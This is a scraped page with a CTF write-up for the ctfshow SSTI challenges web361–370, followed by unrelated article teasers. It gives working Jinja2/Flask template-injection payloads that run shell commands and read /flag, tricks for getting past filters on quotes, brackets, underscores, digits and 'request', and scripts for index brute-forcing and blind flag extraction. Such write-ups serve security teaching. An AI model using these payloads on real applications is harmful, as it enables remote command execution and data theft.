ctfshow-ssti

news2025/6/26 3:19:35

web361

名字就是考点,所以注入点就是name

先测试一下存不存在ssti漏洞

利用os模块,脚本

查看一下子类的集合

?name={{''.__class__.__base__.__subclasses__()}}

看看有没有os模块,查找os

利用这个类,用脚本跑他的位置

import time

import requests

url = 'http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/'
for i in range(500):
    data = "?name={{{{().__class__.__base__.__subclasses__()[{}]}}}}".format(i)
    url1=url+data
    response = requests.get(url=url1)
    if "os._wrap_close" in response.text:
        print(i)
    if response.status_code  == 429 :
        time.sleep(0.5)

但是这样跑的比较慢,修改为多线程,会很快

import threading
import requests
import  time

url = 'http://c73d3bdd-59d0-449a-bfcd-b683b92b768e.challenge.ctf.show/'

def check_url(i):
    data = "?name={{{{().__class__.__base__.__subclasses__()[{}]}}}}".format(i)
    url1=url+data
    response = requests.get(url=url1)
    if "os._wrap_close" in response.text:
        print(i)
    if response.status_code  == 429 :
        time.sleep(0.5)

threads = []
for i in range(500):
    t = threading.Thread(target=check_url, args=(i,))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

config查看配置

?name={{config.__class__.__init__.__globals__['os'].popen('ls').read() }}

name={{config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}

直接查看flag

 

lipsum cycler 执行命令

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}

web362

发现跟361一模一样

?name={{lipsum.__globals__['os'].popen('ls ../').read()}}

?name={{lipsum.__globals__['os'].popen('cat /flag').read()}}

 或者利用os模块,跟上面一样就不试了

web363 过滤引号

request.args传参绕过

request.args是flask中一个存储着请求参数以及其值的字典

假设传入{{ config.__class__.__init__.__globals__['os'] }},因为引号被过滤,所以无法执行,可以把'os'换成request.args.a(这里的a可以理解为自定义的变量,名字可以任意设置)

随后在后面传入a的值,变成{{ config.__class__.__init__.__globals__[request.args.a] }}&a=os,与原命令等效

原payload:

?name={{lipsum.__globals__['os'].popen('ls ../').read()}}

 传入a和b的值执行命令

?name={{lipsum.__globals__[request.args.a].popen(request.args.b).read()}}&a=os&b=ls

执行成功

直接查看flag

web364 过滤args

用刚才的payload被过滤了

request.values

搜索发现除了request.args还有request.values

values 可以获取所有参数,从而绕过 args

?name={{lipsum.__globals__[request.values.a].popen(request.values.b).read()}}&a=os&b=cat ../flag

chr()绕过 

通过python自带函数来绕过引号,这里使用的是chr()

判断chr()函数的位置

{{().__class__.__bases__[0].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

使用bp爆破,查看状态为200

这个爆破结果意味着__subclasses__()[80]中含有chr的类索引,即可以使用chr()

接下来把这一串{%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}放到前面

原始payload是{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }},接下来要用chr()进行替换,对照ascii表
 

'os'   ==>chr(111)%2bchr(115)
'cat ../flag'   ==>
chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)

再把替换后的payload放在后面,两段拼在一起得到最终姿势

?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

web365  过滤[]

__getitem__pop

因为pop会破坏数组的结构,所以更推荐用__getitem__

上面的两个payload都可以修改

?name={%set+chr=[].__class__.__bases__[0].__subclasses__()[80].__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

第一处的[]直接换成()即可
第二处的[0]换成.__getitem__(0)或者直接删去
第三处的[80]换成.__getitem__(80)
第四处的[chr(111)%2bchr(115)]换成.__getitem__(chr(111)%2bchr(115))
http://93a505c0-ef5f-41f4-8e90-3212e948736a.challenge.ctf.show/?name={%set+chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(80).__init__.__globals__.__builtins__.chr%}{{ config.__class__.__init__.__globals__.__getitem__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(46)%2bchr(46)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read() }}

 

?name={{lipsum.__globals__.__getitem__(request.values.a).popen(request.values.b).read()}}&a=os&b=cat ../flag

web366 过滤下划线_

attr获取变量  

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

web367

用366的payload也可以

?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)()}}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

web368 过滤{{

{%%}绕过

借助print()回显

?name={% print(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.o)|attr(request.values.f)())%}&o=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read

{%%}盲注 

import requests

url="http://9d15c31f-9e48-4295-a4ad-4f2949d66ad0.challenge.ctf.show/"
flag=""
for i in range(1,100):
    for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
        params={
            'name':"{{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{{% if a==request.values.d %}}feng{{% endif %}}".format(i),  //open函数读取/flag文件的内容
            'a':'__globals__',
            'b':'__builtins__',
            'c':'/flag',
            'd':f'{flag+j}'  //将flag与request.values.d进行比较,如果相等,则将字符串"feng"赋值给变量a。
        }
        r=requests.get(url=url,params=params)
        if "feng" in r.text:
            flag+=j
            print(flag)
            if j=="}":
                exit()
            break

 

web369 过滤request

不同的变量赋值,然后拼接成我们想要的命令

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

这相当于

lipsum.__globals__['__builtins__'].open('/flag').read()

set 创造变量

构造po="pop"     #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}

等效于a=(()|select|string|list).pop(24),即a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}

select 过滤器用于选择对象的属性或方法。

string 过滤器将对象转换为字符串。

list 过滤器将对象转换为列表。

构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}

构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}

构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}

构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}

调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}

构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

web370 过滤数字

?name=
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{% set coun=(cc~cccc)|int%}
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read())%}

主要就是后面ascii码被过滤,需要用c来代替

几个c就代表几,比如c=1,ccc=3
用~拼接    构造coun=24
{% set coun=(cc~cccc)|int%}

同web169
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file="/flag"
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1085846.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【USRP】NI PCIe-8371

什么是 NI PCIe-8371 PXI远程控制设备。 x4 Gen1 PCI Express主机,832 MB/s,铜缆MXI-Express设备,用于PXI远程控制—PCIe‑8371是一款MXI‑Express远程控制器,用于控制通过有线PCI连接到计算机PCI Express插槽的设备或系统。 当…

oracle手工创建数据库?稳健一文

一、描述 新加了一块盘做手工创建数据库的数据文件目录 oradata; 这台服务器上本来就有一个单机asm数据库,我内存不够先关闭了 二、手工创建oracle数据库 1、设置ORACLE_SID [oracleoomcserver ~]$ cp .bash_profile .bash_profile_omccdb [oracleoomc…

再谈Java泛型

一.类型参数的约束 我们可以对泛型传进来的参数做一些约束,比如说 用extends表明传进来的参数类型必须是必须是某个类型的子类型或者本身 当然也可以用接口约束,也是用extends表明传进来的参数类型必须实现某个接口。用&连接,注意class…

SpringBoot-黑马程序员-学习笔记(四)

40.业务层Service的快速开发 1.写业务层接口并且继承IService类,泛型是对应的实体类 2.写实现类,除了和之前一样的实现Service类外,还要继承ServiceImpl类,泛型有2个,第一个是对应的Dao层,第2个是对应的实…

深入解析Spring Cloud Gateway的GlobalFilter

文章目录 摘要引言GlobalFilter的作用使用GlobalFilter默认的GlobalFilter自定义GlobalFilter 示例代码配置GlobalFilter配置文件方式代码方式 高级用法:重写GlobalFilter思路代码实现 结论参考文献 摘要 本文将详细介绍Spring Cloud Gateway中的GlobalFilter&…

一文理清JVM结构

JVM结构介绍 JVM一共分为三个组成部分: 1 类加载子系统 主要是将class文件加载到内存中的一个系统,其核心组件是类加载器 2 运行时数据区子系统 1 JVM私有部分 1 虚拟机栈 描述的是Java方法执行的内存模型:每个方法在执行的同时都会创建一个栈帧&…

语言模型编码中/英文句子格式详解

文章目录 前言一、Bert的vocab.txt内容查看二、BERT模型转换方法(vocab.txt)三、vocab内容与模型转换对比四、中文编码总结 前言 最近一直在学习多模态大模型相关内容,特别是图像CV与语言LLM模型融合方法,如llama-1.5、blip、meta-transformer、glm等大…

程序员如何用海外平台接单?

作为一名能力超群的码农,基本工资肯定是到位的。 那你是否想过锦上添花,试着找找兼职呢? 相信不少人已经在接单平台上接单了, 但是,在众多接单平台中,海外平台是个什么样的存在呢?怎么在海外…

c/c++--编译指令(预处理之后) #pragma

1. #pragma 作用 #pragma 用于指示编译器完成一些特定的动作#pragma 的功能或作用 随编译器不同而变化。 即 不同的编译器可能以不同的方式解释同一条 #pragma 指令 2. 用法 常见用法示例 2.1 #pragma message 参考链接 自定义编译信息输出到终端(一般和#if配合使用&#…

收银系统商品定价设计思考

一、背景 因为门店系统里商品总共也就几万款,一直以来都是根据条码由总部统一定价销售,现在有加盟店,各门店也有进行各自促销活动的需求,这就需要放开门店自主定价权,所以近段时间系统在商品定价上做了扩展。 二、商…

【Debian系统】:安装debian系统之后,很多命令找不到,需要添加sudo之后才能使用,以下解决方法

项目场景: 问题描述 解决方案: 1.临时解决方案 2.永久解决方案 1.首先打开编辑: 2.打开之后最后一行添加代码: 3.最后运行一遍 .bashrc 4.已经可以了,可以试试reboot,重启一下机子 一点一滴才能成长 …

基于SpringBoot的城镇保障性住房管理系统

目录 前言 一、技术栈 二、系统功能介绍 用户信息管理 房屋类型管理 房源信息管理 房源申请管理 住房分配 房源申请 三、核心代码 1、登录模块 2、文件上传模块 3、代码封装 前言 随着信息技术在管理上越来越深入而广泛的应用,管理信息系统的实施在技术上…

神秘的锦衣卫

在看明朝电视剧经常听到的一句台词:锦衣卫办案,闲杂人等速速离开。锦衣卫是明朝特务机构,直接听命于皇帝,是亲军卫之一,也是最重要的一卫。 1、卫所制 卫所制是明代最主要的军事制度,其目标是寓兵于农、屯…

Jetson Orin NX 开发指南(8): Mavros 的安装与配置

一、前言 由于 Jetson 系列开发板常作为自主无人机的机载电脑,而无人机硬件平台如 PX4 和 ArduPilot 等通过 MAVLink 进行发布无人机状态和位姿等信息,要实现机载电脑与 MAVLink 的通信,必须借助 Mavros 功能包,因此,…

c# 弹出背景透明图

1. 在窗体中添加 picturebox 控件 2. 在 picturebox 中添加 “png ” 背景透明图,或者GIF图,属性设置如下 3. 在窗体初始化中,添加如下代码 this.BackColor Color.LimeGreen; this.TransparencyKey Color.LimeGreen; 此功能可以用来展示…

【MySQL入门到精通-黑马程序员】MySQL基础篇-DCL

文章目录 前言一、DCL-介绍二、DCL-管理用户二、DCL-权限控制总结 前言 本专栏文章为观看黑马程序员《MySQL入门到精通》所做笔记,课程地址在这。如有侵权,立即删除。 一、DCL-介绍 DCL英文全称是Data Control Language(数据控制语言&#x…

国际邮箱推荐:不容错过的企业邮箱选择

企业邮箱哪个好?Zoho Mail一款“界面纯净、永久无广告”的企业邮箱,适用于任何企业邮件和个人邮件往来。我们提供的Zoho Mail产品,可以帮助企业人员轻松管理电子邮件,从而更加智能、更加高效的工作。 Zoho Mail突出的功能特性&…

UDP和TCP特点(部分)对比:

传输层的两个主要协议:TCP 和 UDP UDP和TCP特点(部分)对比: UDP:无连接, 不可靠传输, 面向数据报, 全双工。 TCP:有连接, 可靠传输, 面向字节流…

利达卓越:推动互联网金融创新发展

随着信息技术的迅猛发展,互联网金融洗尽铅华,浴火蜕变,逐渐崭露头角成为金融领域的一股重要力量。对此,利达卓越积极推动互联网金融创新发展! 互联网金融是指传统金融机构与互联网企业利用互联网技术和信息通信技术实现资金融通、支付、投资和信息中介服务的新型金融业务模式。…

【JVM系列】- 启航·JVM概论学习

启航JVM概论 😄生命不息,写作不止 🔥 继续踏上学习之路,学之分享笔记 👊 总有一天我也能像各位大佬一样 🏆 博客首页 怒放吧德德 To记录领地 🌝分享学习心得,欢迎指正&#xff0c…